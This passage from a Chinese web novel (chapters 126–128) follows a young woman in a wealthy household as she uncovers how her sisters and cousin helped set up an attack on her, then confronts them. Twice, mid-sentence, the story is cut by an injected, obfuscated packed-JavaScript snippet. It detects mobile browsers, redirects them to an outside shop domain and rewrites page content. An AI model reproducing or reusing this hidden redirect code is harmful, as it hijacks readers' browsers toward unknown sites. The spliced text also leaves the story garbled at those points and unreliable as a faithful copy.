“三姐好坏!” “三妹埋汰我们!” 我无力对抗,被挠的连声求饶,二位祖宗才舍得停下,还感到很遗憾:“三姐呀,你什么时候才能好啊?我好几天没爬树了,太无聊了!” 小六也噘嘴:“就是!你病着就算了,泉哥哥这几天去哪了?还有表姐,她也变了!” 我反驳道:“胡说,前几天不是她和我兜着你,才没掉河里的吗?” 小五叉腰:“可这两天,她都拒绝我们好几次了!” 这倒是,表妹也没来找我玩。我抬头问二姐,她去哪了。 二姐温柔笑笑:“在三婶处呢。四妹妹最近心情不好,重修翠阁,总是嫌选的图案不满意,那日大发雷霆,听说连贴身丫鬟翠红都逐出府了。三婶又要安抚她,家事又多,焦头烂额的。表妹去主动协助分担一些家务了。” 我耳朵一跳,抓住关键词:“把贴身丫鬟逐出府了,怎么回事?” 二姐没说话,小五小六却毫不意外,一个说“四姐脾气坏,这有什么稀奇的?” 一个补充道:“翠红劝说四姐别挑三拣四,早些修好翠阁,至于那二层阁楼,就别修了。谁知道四姐听了大怒,说翠红胳膊肘往外拐,打了顿板子就丢去庄子上做活了!” 又是因为修缮啊?这事我也有所耳闻。 其实大刘劫持老四,主要还是因为他本就是内宅侍奉的小厮,那日正送去花盆。本放在翠阁院中就罢,偏偏老四因旁的事发火,牵连到他,跟着挨骂。 这事说来说去,与翠阁院墙牢不牢靠,并无关系。 老四估计是嫌原主的棠阁在她上京后被着意翻修了一遍,此时便借题发挥,也要把她的翠阁重修装饰,更是提了一大堆要求,添彩绘、加绿植,对图纸多次否定,整的松伯没法子,听说连匠人都换了一批。 念及此处,我心神一动。 126.半框炭 大刘偷窥,虽然是由小五小六误打误撞听到壁角才捅破的,但当日发现者,却是老四的贴身丫鬟翠红。 梨梨曾说,翠红跟着主子,性情也相似,在丫鬟中,属于飞扬跋扈的类型。 既如此,当她怀疑大刘偷窥,即便没有证据,也不会只是警告作罢吧?为什么她没有直接喝退大刘,甚至禀告老四,立即就处理了呢? 现在,她怎么也被逐出府了呢? 其次,相继发生的祸事,也实在令我不得不多想,老四或也是幕后黑手的目标之一? 我之所以不怀疑三婶和老四这明面上对我就充满敌意的人,也正因如此。 她二人绝无损害王宅名声的动机,那日劫持也发生在我回来之前。如说幕后黑手就是她俩,这讲不通。 小五小六玩的兴起,都热得出汗了,小五用袖子擦擦额头,埋怨道:“屋子里太热了,我就说送半筐炭是对的,小娘还说我胡说八道!” 我耳朵一跳:“半筐?” 小五抓住二姐送我的团扇一阵猛扇:“对啊,上个月底我俩用炭烧蜘蛛,发现小厮送来的炭只有半筐,下面是柴。这几天却变成满满的炭了,我给小娘说,半筐就够了,小娘却说这都是定数,叫我不要多管闲事。” 小六噘噘嘴:“真是的,我们给咱家省钱呢!” 上个月底开始,炭就是半筐? “是吗?”二姐自言自语,“我怎么没发现?” 因为炭筐大,根本用不到下面! 王宅素有定数,每天定时给每处小院送一筐炭,但寻常取暖,根本用不到下半筐。唯有泡澡,需要在屋中加大炭火用量。 遇袭那日,正逢王宅施粥,外围小厮丫鬟被调出征用,加炭的事就得我们自己操心了。若非如此,我们根本发现不了炭筐的秘密,也就不会出现垂云出去取炭的场景。 这也就是说,炭火早就开始少了,而且不只是我的棠阁少。也即,用木柴代替炭,不是幕后黑手专门针对我的布局,而是他发现并利用了这一点,刚刚好调走了我的丫鬟。 那么是谁发现的? “你们俩有告诉别人吗?”我抓住小五的手,急忙问道。 “没有!小娘不让我们胡说!” 小六也摆摆手:“只有我俩发现了!” 二姐笑道:“你们俩真是机灵!” 小五小六得意的甩帕子:“那是!你们说我们说的对不对?半筐炭就够了嘛,还能省钱!” 二姐拿帕子遮嘴笑道:“那哪够啊,就说四妹妹吧,接连的祸事把她也吓得不轻,都变得畏寒了,总嫌炭火不够旺,一下午就叫人送来好几筐。乐音表妹还说咱们家炭筐大,这么多炭都不够,她们郑家炭筐才是我们家的一半呢。” 送来好几筐?我细细品着,觉得有些奇怪。 “其实当时屋子里已经很热了,出来之后,乐音表妹说,也许不是炭火送的不够,而是四妹妹身体未愈。后来乐音表妹派人送了很多补品,还有南洋稀少的血燕。” “哇!血燕!”小五露出羡慕的表情,“是比燕窝更高级的吗?” “鲜红色的,色泽亮丽,很好看呢。” 小六瞪大了眼:“哇,那好吃吗?” 二姐遗憾道:“我也没吃过呢。” 几个人开始讨论血燕的稀少与珍贵,我却没了兴致。 当晚,小白总算来了。彼时我正恹恹坐在饭桌前,想着谢宁轩出神。 小白一踏入厅里,便张罗梨梨撤下饭菜,又让垂云垂柳将他带来的油纸包一一打开铺满了整张桌子。 香气扑鼻,梨梨瞪着糖炒栗子,都快流下口水了。 我拿起一包,直接塞给她,一面问小白:“你上哪整这么多好吃的?” “去庄子里走了一趟,不少农家自己产的,很地道。” “垂柳,快来,这有你喜欢的山楂球!垂云,桃酥!” 垂云垂柳还有些惴惴,觑一眼小白不敢上前。梨梨常见他,已经摸清他的脾性,欢天喜地的接过糖炒栗子就大快朵颐起来。 “三妹妹给你们的,就吃呗,介意什么?”小白扫一眼垂云垂柳,靠到了椅背,翘起二郎腿恣意放松。 垂云垂柳一听,也就不扭捏,拿起零食交换着吃。 我心里舒服了些,不由说道:“我现在明白为啥小五小六这么喜欢你了。” “嘁。”小白懒懒说,突然又坐直身子,认真问我,“你知道你离开金华之后,最想你的人是谁吗?” 我笑的眯起眼:“祖母?小五小六?” 小白将手交叉背到脑后:“错,是我。” 我差点把晚饭喷出来。 小白露出好笑的表情:“我想念我没过门的娘子,这不是很正常吗?” 我剜他一眼:“好好说话,保持距离,咱俩不熟,谢谢。” “不熟还让我帮你查这查那,有良心吗?” 我冷着脸,并不答话。 小白一哂,也没恼,又松弛下身子,靠回到椅背上:“其实是因为你走的第二天,小五小六就派人上门怪罪,理由是我魅力不够,没留下她们最爱的三姐姐,导致没人带她们出去玩。这一年里,我被迫带她俩出去玩了二十六次,二十六次啊!差点没把我累趴下。那时候,我可是真想你。” 我一想到小五小六坐在他肩膀上扯头发的画面,“嗤嗤”笑起来。 小白确实是个妙人,虽认识时间不长,我却很喜欢他这种脾性,就是说话有点欠打。 咦,小五小六不是说原主和他并不亲近吗?可他和我开玩笑,语气分明不疏远啊。难道二人其实颇有情谊,原主心里是愿意嫁给他的? 我不免忐忑,试探问道:“嗯,那个,你知道,我不是失忆了嘛。我有点忘记了,咱们以前相处多吗?” 小白靠过来,笑嘻嘻道:“可多了呢,你那时候天天喊叫非我不嫁。” 我一脸冷漠:“大哥,小五小六已经说了,咱俩并不亲近。” 小白笑脸没了:“那你还明知故问。” “嗯,我问的是,在婚事定了之后,咱俩有没有,嗯,共处,单独共处过?” 小白睨我一眼,靠回椅子上晃腿:“你家老太太倒是想叫我和你多处处,可惜你每次都一溜烟跑掉,不是忙着爬墙翻山,就是忙着下河捞鱼,再加上小五小六时时刻刻围着转,我就算想一亲芳泽,你给我机会了吗?” “呵呵呵呵……”我搔搔头,掩盖住脸上的笑意。 “倒是你这次回来,”小白扭头打量我,“还能好好说个话。真是长大了,你以前能老老实实坐在椅子上吃顿饭,你祖母就得去上高香。” 行吧,看来原主果然还是个没开情窍的单纯姑娘。不管是对二公子,还是对这娃娃亲的主角,她都还没生出情丝来。 这就好。我逃婚,这就没心理压力了嘛。 “你去了京城也才不到一年,为什么变化这么大?像换了个人似的……只是因为失忆?”小白忽然问我。 我心一惊,忙斟酌说辞。 小白却自问自答,还凑过来眯着眼:“我看你呀,是在京城有心上人了吧,就是那凌博士?所以开窍了,所以长大了,所以懂事了,对不对?” 这一连串的排比句,我都听懵了,心说你写作文啊,给你流利的。 “他和你一道南下,算不算一路护送你?到了金华可又不见人了,真奇怪。他到底对你什么心意?你们俩,算是心心相映了吗?” 我摸了摸放在前襟的粉镯,没有回答。 小白仍凿凿盯着我,满脸的八卦劲儿。见我没失态也没露端倪,才失望的靠回椅背,吐槽一句:“不说算了,小气鬼。” “好了,别扯这有的没的了。你查到什么线索了吗?” “查是查到了几条,不过……” “不过什么?” “你打算怎么感谢我?” “额……”我想了想,“你不是喜欢那支七彩祥云簪子吗?我借花献佛,送给你呗。” “簪子?我一个老爷们,要什么簪子嘛。那支是独特……”小白撇撇嘴,又加了一条,“行吧,但你还得欠我个人情啊!将来要还的啊。” “行行行。快说吧,查到什么了?找到橙橙了吗?” “那倒没有,不过线索也不少。”小白终于正色,从怀里掏出一本册子。 我接过来一看,竟是调查手册。“这、这是祖母给你的?” “是啊,你祖母一听我说要接手调查,感动的热泪盈眶,恨不得你明天就过门,当下就把这册子给我了。还吩咐我要多加小心,生怕孙女婿有危险呐。” 我没理他啰嗦,只着急翻阅。内里内容又杂又多,翔实的记录着收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244254|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙女落水消息后,祖母派出调查的每一个成果。从七个下人的家人口供到金华城门进出记录,王宅主仆出入时间表以及各院下人往来清单等。 粗粗翻阅,我的目光只停留在一个人名上。 小白紧盯着我,看到这一幕松口气:“看来你已经知道,肖排场其人?” 册子中关于肖排场的内容,大部分祖母在信中已经告知,新增内容与我设想一致,果然是针对他交际圈、生活往来的调查,但并无突破。 我听小白话音,就知他查到了新鲜的,便抬头看他。 小白得意一笑,才说:“他老去个赌坊,你知道吗?” 我想起老建头家中的破灯笼,猜测道:“东来赌坊?” 小白有些意外:“你知道?行啊,消息够灵通的啊。那你知道橙橙也去过吗?” 我惊了:“橙橙去赌坊?怎么,她也赌?” “呵,她可不是去赌。”小白神秘兮兮凑近,“她,是去送钱的,给她情郎送钱。可惜不够,还被打手抡了一巴掌。” 啊,怪不得梨梨说,橙橙临上京出发前,脸上有指印。看来她也曾试图还钱救人,但无奈赌债太高,最终还是被设计了。 我理了一下时间线,问道:“随后肖排场就被捆进山里,直到身死?” 小白却摊手:“这就是猜测了。我从没去过赌坊,和东家毫无交集,想要探查这等隐秘,还需要些时间。” “好吧。但赌坊是关键,小白,恐怕要劳你费些心思,必须深入探查。” 小白朝天空扔了颗花生,稳稳掉入嘴里。他神色轻松:“放心吧,在金华,还没有我白家查不清的事。” 好大的口气,但愿没有吹牛。 “啧,三妹妹现在真是聪明多了,防备心也强了不少。看来是能承担起当家主母的重担了。” 我懒得理会他的调侃,没说话。 小白忽又凑来:“不过我说你呀,看到未来夫君这么优秀,是不是很庆幸能嫁给我? 我白眼翻出天际,伸手推开他,谁知用力过猛,受伤的手腕一阵剧痛,忍不住倒吸两口凉气。 小白倒乐的一阵大笑,复又坐到椅子上,一口一个糖炒栗子吃的香。 “对了,大刘家人我也问过了,他们说纯属冤枉。大刘事后明确说,自己真没做过腌臜事。在翠阁外围侍奉的时候,他对老四可谓忠心耿耿。不知道为什么你们家要这样冤枉他。他不是家生子,也没有卖身,只是在你们家做工而已,那事发生后,他本可以不干了的。之所以忍气吞声,就是想找机会自证清白来着。” 我不禁挑眉,对这说法感到惊异。 难道真是一场误会,他真的没有偷窥老四?可小五小六点出他之后,也在他房中找到了老四的衣服呀。 小五小六听到的壁角,又是怎么回事? 没来由,我忽然觉得,老四的贴身丫鬟翠红,或许是个关键人物。 “小白,你知道翠红被逐了吗?你能不能找到她,我想问她一些事。” 小白伸伸懒腰:“又来一个?你事可真多!我这次的成果还没说完呢!” “哦?还查到什么?” “茉莉膏呗。咱们金华,也就你三婶娘家贩卖南洋物件的生意做的最大,最近确实进了一批茉莉膏。还送了不少给大户人家,也包括我家。” 那这不是又指向老四了吗? “不止呢,”小白又拿出一张名单,“你看,这是你们家近期找的彩绘匠人名单,因为你四妹的挑剔,曾更换过一批。我圈出来的这个,是被逐走那批中的一员。你猜,我在哪里也见过?” 我盯着“马小旦”的名字,猜不出来。 “东来赌坊。”小白丢下一个炸弹。 我大惊:“他也去赌坊!” “不仅如此,袭击你前一日,他刚去还了一笔赌债。” 咬过歹人手指时的粗糙触感,清晰的再现在我唇边。我顾不得脚腕的伤痛,径直站起身来,声音在颤:“他、他就是袭击我的人?” 小白没有回答,眼神说明了一切。 一时间,无数信息、无数对话、无数片段交汇在脑海中,似有电闪雷鸣。 我突然想通了很多事,虽然仍有谜团种种。 小白听了我几句分析,掷地有声的撂下一句话:“别说了,干脆直接对质!” 127.对质 对质的日子就在第二天下午。 我差人请来了二姐和表妹,二人本以为又是闲话家常,说说笑笑一起进来,看见小白坐在厅里喝茶,都很意外。 “二姐,乐音妹妹,来,快坐。” “三妹妹,这是?”二姐停下脚步,柔声问。 表妹还束着高发,英气勃勃的面上也是疑惑。 我上前挽住二人的胳膊,拽着她们上前,按坐在桌子另一边,轻声道:“没事的,有个事情要你们见证一下。” 二姐和表妹对视一眼,透着狐疑与不安。前者还连连觑了小白好几次,小白倒是自顾自喝茶吃点心,好生惬意。 因着小白在,两个人犹坐针毡,几次站起身来想要走。我安抚了好几遭,正主才出场。 大红的大氅下,是老四精致的小脸,写着不情愿。在丫鬟的簇拥下,她慢慢走进厅里,目光直直停留在小白身上。 小白感受到她的注视,笑道:“别看我啊,我只是来看戏的。” 老四小脸微微一颤,二姐和表妹迎上前请她进屋。 老四并不买账,站在门口就问:“王羽书,你叫我过来干嘛?” “跟你聊聊我遇袭的事。”我淡淡道。 二姐和表妹一惊,连连交换眼神。老四额头皱起,不自觉后退两步。 我端起茶喝了一口,眼神从几个人脸上划过,慢慢开口:“我回来之前,听说翠阁有蛇惊了四妹妹,你还动怒罚了好些下人?” 老四脸微微一僵:“那又如何?” 我起身将二姐和表妹拽回到桌边,一面继续说:“四妹妹先遇到蛇,我这儿也遇到蛇,你说巧不巧?” 老四没说话。 “咱们家花园都有专人打理,这个季节本该冬眠的蛇,先是跑到翠阁,又出现在棠阁,你觉得几率高吗?” 表妹手上的帕子掉到地上,她紧紧盯着老四。 “会不会四妹妹发现蛇之后,意识到可以用蛇吓唬我,于是安排人丢进我屋子?” 老四还是没有说话,只是脸色暗沉了。 “袭击我的歹人虽然死了,可他手指上布满了茧,当时我就怀疑过,此人恐怕是个手艺人。” 二姐不自觉身体前倾,胳膊打到了茶杯,发出响亮的声音。 我伸手从小白手中接过那张匠人名单,说道:“我遇袭后,祖母重罚了三婶,以为贼人是趁着家中施粥人手不够、门户不严而潜入。但我当时就知不对,因为一个陌生人,不可能避开所有人,悄无声息、熟门熟路的摸到我的棠阁。无人主使?无人引路?怎么可能。我怀疑过是你的匠人,可松伯却说,当日来的人数和走的人数一致,不存在差异。可我疏忽了,你换过一批匠人。” 老四咬着嘴唇,还不肯放弃,挣扎道:“那、那又如何!” 那就说明,有个王宅以外的人熟悉内宅构造,还算是张熟面孔,在不同于往日严格的门户管理下,混入是不难的。 “偏巧此人好赌缺钱,又与你近日有往来,袭击我之前,还突然有钱还了赌债。”我走近两步,“四妹妹,你觉得,这些都仅仅是巧合?” 老四怨毒的盯着我,几秒后,她忽然发作,一声尖叫,让屋里的人都颤了颤。 她用手指指着我,带着些轻微的颤抖:“那也是你自己的错!是你勾引那人,否则怎么会被他按在地上撕衣服!是你行事不检点!” 二姐起身倚着桌角,声如细蚊:“四妹妹,你怎么……” “还有你们!”老四用手指向二姐,又划向表妹,把二人吓得脸色惨白,“她不在的时候,你们个个都来恭维我!她一回来,你们全都围着她转!” 表妹强撑着朝前走了走,想安抚一下近乎疯狂的老四。 后者却猛烈摇着头,整个人靠在窗边,表情痛苦:“我是让人放了蛇!是让人去偷衣服!可我没让人袭击你!是你自己和他倒在一起,还跌进浴桶,浑身湿透!这只能怪你自己!” 小白朝我投来一个眼神,我也注意到了她的说辞。 “我只是安排人想要偷你的小衣……凭什么你能嫁入白府!凭什么好的都是你的!明明我才是祖母看着长大的,可你来了之后,祖母心里就只有你了!还有泉哥哥,凭什么你能嫁入白家我却不能?” 老四慢慢蜷缩着蹲到地上,呜咽着将多年的积怨全部说了出来,眼泪淹没了她的容颜。 我忽然有些不忍。 眼见一个人到来,夺走了自己所有在意的东西,失落渐渐转成了嫉妒。或许她素日的高傲,都在掩盖自己脆弱的心。 我朝小白投去目光,他扬了扬眉。 从老四的表现来看,心理素质极差,绝不可能是幕后黑手。这也和我们的预料相同。 “四妹妹,今天的事,我还没有告诉祖母和三婶。”我沉声道,“我希望你自己去说。” 老四抬起泪眼望向我,歇斯底里:“凭什么!” “凭你到底对我、对自己的姐妹干了坏事,你就应该受到处罚。”我朝她走过去蹲下身,直直的看着她的眼,“但我直白告诉你,我没有要抢走你任何东西。爱如沙,你越死死握着,失去的越快。你越执着与嫉妒,越得不到任何想要的。心平则气和,气和则理顺,理顺方有百事兴。你明白吗?” 老四被丫鬟扶出去的时候,小白轻轻叹了口气,唯有我们两个听到了。 我知道,他并非可怜老四,而是在叹息,我们猜对了——老四之外,果然另有人谋划了一些事。 这场遇袭,根本不止这样简单。 老四走后,屋里陷入了寂静。 二姐用帕子拭了拭泪:“三妹妹,谢谢你没有告发四妹妹,相信她也是一时糊涂。” 表妹声音也有些哑:“三表姐,四表姐以后一定会改的。” 我不置可否。 二姐看一眼表妹,说道:“那我们就先走了。” 我摇了摇手:“不忙。” 二姐捏着帕子的手紧了紧,表妹咽了口口水,紧张的看向我。 我的目光在她们两个脸上游弋,淡淡说道:“你们俩感谢我没有告发,是为了你们自己吧?” 二姐骨节都泛白了,素日温柔沉静的脸上露出惊慌,口齿也不清了。“你、你说什么?” 表妹先是震惊的看了眼二姐,英气的下颌线条有些扭曲。她移开一向炯炯有神的眼,低声道:“三表姐别开玩笑了。” 开玩笑?我也希望是。 我轻哂了一声,徐徐说起了我的发现。 梨梨曾说过,原主因为玩得野,和二姐一直不怎么亲近。我回来之后,二姐来的次数也不多。但我遇袭后,二姐对我关怀殷切,每天亲来看望,盯着我的伤口每每落泪,言谈间后怕不已。 就连小五小六都吐槽过,二姐怎么突然变了样,天天给我送各种绣样。 表妹也很奇怪,明明是和原主、小五小六性情最相投的姐妹,玩心很重。我回来后,与她相处也极和谐。但遇袭后,表妹连连拒绝了好几次小五小六的邀约,不来和我们玩,反而去协助处理家务,与素日她的性格截然相反。 她们俩都表现异常,为什么? “这个局,一共有六个关键点。蛇和贼人首当其冲,不必说,都是四妹的安排。可我三个丫鬟的调离,却与老四无关。” 二姐和表妹身子微微一震。 我先将目光投向表妹:“那天去看望四妹的时候,你发觉四妹一连要了好几筐炭,即便体内寒气用炭量多,也不合理。你意识到炭量远少于炭筐的大小,进而察觉王宅有人偷炭,对吗?你联想到我陪小五小六玩,每天都汗津津脏兮兮,都得洗澡。便想到利用这一点调走我的丫鬟,是吧?” 表妹眼神垂了下来,她盯着地上,脸色泛白。 二姐那日的说笑,无意中告诉我,郑家的炭筐小。也即,这个家中,除了小五小六发现炭筐的玄机,表妹也有可能意识到。 而事发后炭量又恢复了正常,可那偷炭的小厮并没有被人揪出来。垂云与他对质吵架,甚至松伯都不知道。 那怎么炭就恢复了呢?自然是在老四那儿发现偷炭,事后又借口学习管家的表妹,才能插手家务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252588|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暗中警告送炭小厮。 “不仅如此,茉莉膏也是你搞得鬼,是不是?” 二姐提到,表妹给老四送去不少补品,其中就有来自南洋的血燕。 南洋?茉莉膏也是出自南洋。三婶娘家从事南洋货运买卖很多年了,她们郑家的小姐,熟悉茉莉膏,深知它冬天结块,下面会冻住,不正合理吗? 表妹用炭调走一个丫鬟,仍觉不够,便让母家将近期贩来的茉莉膏送来王宅。这对王宅来说,还是稀罕物,我的丫鬟自然会优选它而弃肥珠子。 那么,我洗澡时,自然又有一个丫鬟能被调开。 表妹咬着嘴唇没有说话。 我看着她的神色,再看看脸上青一块红一块的二姐,心里失望极了。 这个局最难的点,在于丫鬟的调离。否则当日我在三个人的陪同下,绝不会像现在一样受伤惨重。 可老四没有设计,她与我甚至并不亲近,也就不会知道我屋里没了肥珠子,不会知道一向玩心甚重的原主,忽然改了性子,讨厌起满身的汗津津脏兮兮,坚持每日洗澡。 洗澡的安排,缺少的物件,这都是二姐和表妹在场时,我和丫鬟们毫无防备说出来的。 慢慢的,这个局铺陈开来,现在垂云垂柳都被表妹调开了。 可梨梨呢,梨梨又是被谁调开的? 我将目光凝到二姐脸上,看着她饱含泪水的美目,长叹了口气。 “梨梨被娘亲病重的消息带离了王宅,却发现娘亲不过是普通的风寒,嫂子这时候又一反常态。我原本以为这嫂子是收了好处,后来才发现,她确实是个财迷,却还不至于被人收买。” 小白派人调查得知,梨梨嫂子并没有私下与什么人接触,但娘亲生病消息传来的前一天,有人在市场上闲聊,提及王家近期施粥祈福,这段时间丫鬟的家人生病,王宅都会加倍给予安抚费。 梨梨的嫂子听者留心,次日便借着婆婆风寒叫出了梨梨,并希望梨梨多留几天,以期大额安抚费。 “市场上传话的人,就是你派去的,对不对?除此之外,二姐,也是你的丫鬟在小白面前议论,提到祖母精神不济,诱他次日前来送参,是吗?” 小白将目光投向二姐,平静如水。 他对二姐,或许还谈不上喜欢,但仍然带着欣赏和尊崇。静谧如画的美人,每每望向他的羞涩与懵懂,总是能引起男子保护的欲望。 可小白是理智的,他清楚的知道自己不会娶她,所以他远远观着,从不靠近。 他时有时无的注目,还是让二姐误会了,以为自己也有机会,所以才会动了歪心思。 而那日我问小白时,他突然的卡顿,正在于想起那丫鬟的身份。对温柔美人的偏信与维护,就在那一刻消失了。 至此,这个局才做完。老四安排蛇和歹人,但她没有调开我的丫鬟。表妹趁机调走垂云垂柳,二姐趁机调走梨梨,并引来小白。 这每个步骤之间,没有因果,却环环扣扣相得益彰。 我想起昨晚小白问:“你觉得她们是共谋吗?” 心口沉甸甸,我摇了摇头:“不。” “为什么?” “这个局中,只有蛇和歹人是事先安排好的。” “怎么说?” “炭虽不够,我简单泡泡也足以;茉莉膏虽好,难免我的丫鬟没有同时取来肥珠子;梨梨的嫂子只是听了句话,万一没有财迷心窍,或者晚几天婆婆生病呢?而你,你听到我祖母身子不好,派小厮送人参也是可能的。如果你没有亲自来,不也看不到我被侮辱那一幕吗?” 小白蹙额思索:“所以除了蛇和歹人,其他安排都变数太大了。” “对,如果她们是共谋,就不会用这些不稳定的招数。这显然是在蛇和歹人的基础上添加的,是让原来的计谋能更顺利实施的附加条件,而不是设局必要的环扣。” 我敛起思绪,望着面前神色各异的二人,平和的说:“所以,你们俩是发现了老四要对我不利,才暗中进行了安排,对吗?你们是怎么发现的,她又到底是什么计划?” 128.电灯泡 表妹抬眼看我,充满了愧色。 “我们那日去看望四表姐,她正生我们的气,我们为了讨好她,便将在你这儿的一些趣事说了出来,包括你说小五小六调皮,这年头洗个澡真麻烦云云。” 她深吸口气,“散了后,我发现帕子忘拿,便回去取,刚好听见翠红那丫头正建议,说不妨在你洗澡时,放、放条草蛇进去吓唬你,四表姐也答应了。” 二姐朝小白飞快的瞟了一眼,后者手指摩挲着茶杯,面无表情的听着。 眼中含泪,二姐低低续道:“我、我是第二天上午,去给四妹妹送药膳,听见她和翠红商量,说趁着你会被蛇吓得跑出屋子,再安排个人溜进去拿一件小衣,用此来指责你名声受损,要求婚约换人。” “所以你们俩就各自动了手脚?” “我只是想、想着丫鬟都在,说不定你不会被蛇吓到……刚好我发现了炭的事,便谁也没有告诉,又故意将茉莉膏送来……想着少一个是一个,我甚至不知道二表姐也……”表妹表情木木的,说不下去。 二姐抹了抹泪:“我、我知道梨梨跟着你爬上爬下,胆子练大了不少。如果她在,或许直接抓走蛇,那就无法让偷小衣的计划得逞了。引来、引来白公子,是因为我知道祖母爱重你,不会让此事传到白家。只有白公子人在王宅,他才可能听说。” 我慢慢站起身,将我包扎着的手腕递上前,一字一顿问:“我差点被他淹死,现在身上处处有伤,垂柳也被打得流血。你们俩可还满意?” 二姐慌忙的拉住我的衣袖,连声解释:“三妹妹!三妹妹!我真的不知道怎么会变成这样!我只是、我只是一介庶女,家里安排婚事,高门第怎么都轮不到我。我、我一时鬼使神差、迷了心窍,我想你就算不嫁给白公子,还有翰林院的博士,还有那么多可选择。我、我只是……” “只是顺水推舟?”我盯着二姐白皙的脸庞,“你是吗?你不是。你不仅希望我解除婚约,还想利用四妹。如果四妹的计划得逞,我和小白婚约解除,你就会告发四妹,届时婚约就是你的了,是吗?” 二姐慌忙看向小白,眼泪啪嗒啪嗒的掉,真是一幅“寸寸柔肠,盈盈粉泪”的美人落泪图啊。 我又将视线投向表妹:“乐音,你又是因为什么?我怎么得罪你了?” 表妹愧疚的盯着地上,片刻后抬起头,带着几许妒意。 “我只是想出口气!为什么你比我幸运这么多?你我从小一起玩,上山下河没有你不敢的,你明明比我还要顽皮,比我更加不守规矩!可王家上下都把你捧在手心。我呢?我一回到郑家,就要忍受森严的礼教,我稍稍露出半点不端,就要跪祠堂,抄《女则》。是啊,每年我来王家小住的时候,都是我玩的最开心的时候,可我越跟着你玩,越忍不住怨,凭什么一样的脾性,你却这么自由?” 我完全没想到动因竟然是这个,一时无言。 一颗眼泪顺着表妹的脸颊滑落,她深深吸了口气:“明年我就要出嫁了,这是我最后一次来王家小住。我听到四表姐的计划,明明只是用草蛇吓吓你,我、我就想着顺便出口恶气得了!我根本不知道这里还有其他事儿!至于你怎么会被人袭击,怎么受伤这么严重,怎么还扯上白少爷,我真的不知道!” 我望着默默垂泪的二姐,又看看别开脸盯着地上的表妹,心里不是滋味。 二姐和表妹踉踉跄跄走后,小白看着二姐的背影出神。 我想他一定很失望。 小白敛起目光,问我:“你要告发她们吗?” 我摊开手,勉强笑笑:“祖母精神好与不好,丫鬟只是议论一二,至于你次日来不来,二姐完全没有强求。她派人在市场谈及王宅宽厚,也确实符合我们家的情况,何错之有?乐音送了茉莉膏,垂柳拿不拿,不是她能决定的;她发现炭少了,一个外人不敢告知王家长辈,有错吗?” 整个局中,除了老四安排蛇和贼人有迹可循,其他环扣竟全部都是设计人心。 二姐和表妹的参与,除了我和小白的怀疑,还有半点证据吗? “可她们刚才承认了。” “在你我面前承认,不见得会在其他人面前承认。与其当着祖母的面揭穿,还不如维系着和睦的假象。” 我想着二姐和表妹的眼泪,与我遇袭后她们反常的表现,叹了口气,“我也相信,她们俩真的有悔过之心。” 小白一哂:“你只是不想让你祖母知道,无法接受吧?” 家里三个小姐,两个谋划着一个,还有个表小姐也来掺合。这平静温和的水面下,正搅着如此深的漩涡。如果祖母知道,会不会伤透了心? 小白也没再说什么,而是站起来伸了个懒腰,一面高声唤梨梨:“快上晚饭!饿死我了,白看一天戏!” 我暗暗腹诽,心说全场VIP专座都是你的,还不够精彩啊! 小白却又探头靠近,声音压低:“对了,你准备怎么处置梨梨的嫂子?” “处置什么啊?人家也没做错什么呀,钻空子占小便宜,不是人性吗?” 小白夸张的“呦呵”一声,连连拍掌:“三妹妹说话都有禅味了!” 我懒的理他,心情很丧。 今天的对质之所以这么不痛不痒,维系和睦是一方面,更是因为我知道,远没挖到谷底。 老四、表妹、二姐,她们是针对了我。但她们之间,本不是共谋。 从老四的角度而言,如此简单粗暴的计划,原本不会得逞,她想的太简单了。毕竟,没有表妹和二姐的暗中行事,当日我身侧可有着三个丫鬟。即便有蛇进屋,马小旦潜入偷小衣,也没那么容易。 何况,马小旦实际实施的可是撕扯衣服、毁坏名节的行为,远远超出了老四的授意。我的名声若真受损,客观上也会影响王宅声誉,也不符合老四与二姐的利益。 所以,今天的对质,她们说的确实是实话。 也就是说,简单设局的背后,还有只黄雀在搅弄风云。尤其小白带来的调查结果,更让人心惊。 马小旦也曾出入东来赌坊,竟与肖排场相同。金华地界不小,又因富庶,城中赌坊不在少数,与我遭遇相关的两个人出现在同一赌坊,概率能有多少? 幕后黑手,一定与东来赌坊有关,我几乎可以确定。可是,据此线索也就卡顿了,接下来,还能怎么核查呢? 另外,回到金华后,不知为什么,我总有一种感觉,橙橙还活着。 从哪生出的念头、从何做出的判断,我自己也说不清。可是小白说金华他都翻了个底朝天了,却始终没找到。 梨梨端了晚饭来,我半点食欲都无。桌边正放着二姐送的团扇,无声诉说着我的烦恼。 小白见状调侃:“还大户人家的姑娘呢,这点事情就吃不下饭了?哪个府邸里,哪个年龄段,没有斗争啊。女人嘛,争婚约,争派头,争男人的爱。男人嘛,争权势,争地位,争名利。亘古不变的真理。” 我耸耸肩,感觉真没意思。 史书斑斑血迹,至少争的还是那万人之上的尊位。可是这时代的女子,却仅仅为了个男人,为了个婚约,就争得头破血流姐妹反目,值得吗? 心头很沉,我想起了金宝鸯和林霜玉。 小白伸手在我面前招了招:“想什么呢?一脸沉重?” 我不欲让他察觉,便转移话题:“这话说的,怎么,你们家也争?” “争呀!” 我想起那晚小白的认真,不禁问:“你也争?你不是说最在意的就是快乐了吗?” “争到手了,不就快乐了吗?” “嘁,我还以为你多出世呢。” 